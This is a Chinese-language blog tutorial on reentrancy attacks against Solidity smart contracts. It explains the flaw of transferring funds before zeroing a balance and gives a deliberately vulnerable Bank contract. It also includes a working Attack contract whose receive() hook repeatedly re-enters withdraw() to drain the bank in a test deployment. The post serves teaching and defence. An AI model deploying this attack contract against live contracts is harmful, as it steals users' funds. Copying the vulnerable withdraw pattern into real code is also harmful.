合约安全:重入攻击
浏览 457 | 评论 0 | 字数 2703
硝基苯
2023年07月08日
  • 重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback函数)循环调用合约,将合约中资产转走或铸造大量代币。

    重入攻击举例

    web2.0中的重放攻击导致的逻辑漏洞类似,当用户向合约提现时,正常情况如下

    • 用户向合约发起请求提现
    • 合约检测该用户是否有足够的余额,有的话进行转账
    • 转账成功,用户余额置为0
      相信大家已经看出问题了:转账后才将用户的余额置为0,如果我们能做到像web2.0一样在短时间内不断的发包,在置为0前不断的触发转账函数即可做到将大量的钱转走。因此,我们可以写一个恶意合约来完成我们的设想

    思路

    • 用户发起提现请求
    • 合约检测用户余额,向用户提供的提现地址转账
    • 通过向恶意合约转账。触发恶意fallback()/recevie()函数,该函数的内容为请求合约向合约转账。就此,陷入转账的循环,却一直没有到将用户余额置0的那行
        /*
        那个函数被调用了?  是 fallback() 还是 receive()?
    
                  send Ether
                          |
             msg.data  是否为空?
                  /              \
                是              否
                /                   \
    receive() 存在?       fallback()
             /            \
            是           否
            /                \
        receive()   fallback()
        */

    实例

    预备阶段

    bank合约

    contract Bank {
        mapping (address => uint256) public balanceOf;    // 余额mapping
    
        // 存入ether,并更新余额
        function deposit() external payable {
            balanceOf[msg.sender] += msg.value;
        }
    
        // 提取msg.sender的全部ether
        function withdraw() external {
            uint256 balance = balanceOf[msg.sender]; // 获取余额
            require(balance > 0, "Insufficient balance");
            // 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
            (bool success, ) = msg.sender.call{value: balance}("");
            require(success, "Failed to send Ether");
            // 更新余额
            balanceOf[msg.sender] = 0;
        }
    
        // 获取银行合约的余额
        function getBalance() external view returns (uint256) {
            return address(this).balance;
        }

    往银行先转个20eth
    77105-bmc4yy1zm8.png
    部署Attack合约

    
    contract Attack {
        Bank public bank; // Bank合约地址
        // 初始化Bank合约地址
        constructor(Bank _bank) {
            bank = _bank;
        }
        
        // 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数
        receive() external payable {
            if (bank.getBalance() >= 1 ether) {
                bank.withdraw();
            }
        }
        // 攻击函数,调用时 msg.value 设为 1 ether
        function attack() external payable {
            require(msg.value == 2 ether, "Require 1 Ether to attack");
            bank.deposit{value: 2 ether}();
            bank.withdraw();
        }
        // 获取本合约的余额
        function getBalance() external view returns (uint256) {
            return address(this).balance;
        }
    }

    开始攻击

    因为Attack合约中,构造函数已经初始化了Bank,因此,直接传入Bank地址创建该Attack合约
    31929-3f3v26efa9d.png
    目前该Attack合约没有钱,调用attack方法的时候记得转2eth过去
    调用attack方法后,Attack合约余额变为了22ethbanck余额为0
    71169-7o16el7phf2.png

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/844/
    最后修改时间:2023-07-08 23:06:47
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论已关闭
    评论列表
    暂无评论